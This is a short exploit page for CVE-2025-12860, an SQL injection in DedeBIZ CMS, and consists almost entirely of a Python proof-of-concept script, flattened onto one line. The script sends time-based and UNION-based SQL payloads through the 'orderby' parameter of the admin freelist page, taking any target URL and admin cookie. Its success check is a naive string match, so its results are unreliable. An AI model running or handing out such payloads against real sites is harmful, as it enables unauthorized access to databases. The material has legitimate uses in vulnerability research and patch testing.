CVE-2025-12860 DedeBIZ CMS SQL注入漏洞

import requests import sys # CVE-2025-12860 DedeBIZ SQL Injection PoC # Target: DedeBIZ CMS <= 6.3.2 # Endpoint: /admin/freelist_main.php # Parameter: orderby def exploit_sql_injection(target_url, cookie): """ Exploit SQL injection in orderby parameter """ headers = { 'Cookie': cookie, 'User-Agent': 'Mozilla/5.0' } # Payload to extract database version # Using time-based blind SQL injection payload = "1 AND (SELECT 1 FROM (SELECT SLEEP(5))x)" # Original request with malicious orderby parameter params = { 'orderby': payload } print(f"[*] Targeting: {target_url}") print(f"[*] Sending malicious request...") try: response = requests.get( f"{target_url}/admin/freelist_main.php", params=params, headers=headers, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response Length: {len(response.text)}") # Extract database version using UNION-based injection union_payload = "1 UNION SELECT 1,2,3,4,5,version(),7,8,9,10--" params['orderby'] = union_payload response = requests.get( f"{target_url}/admin/freelist_main.php", params=params, headers=headers, timeout=10 ) if '5.' in response.text or '8.' in response.text: print("[+] Database version extracted successfully!") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <admin_cookie>") print(f"Example: python {sys.argv[0]} http://target.com 'admin_id=xxx'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] exploit_sql_injection(target, cookie)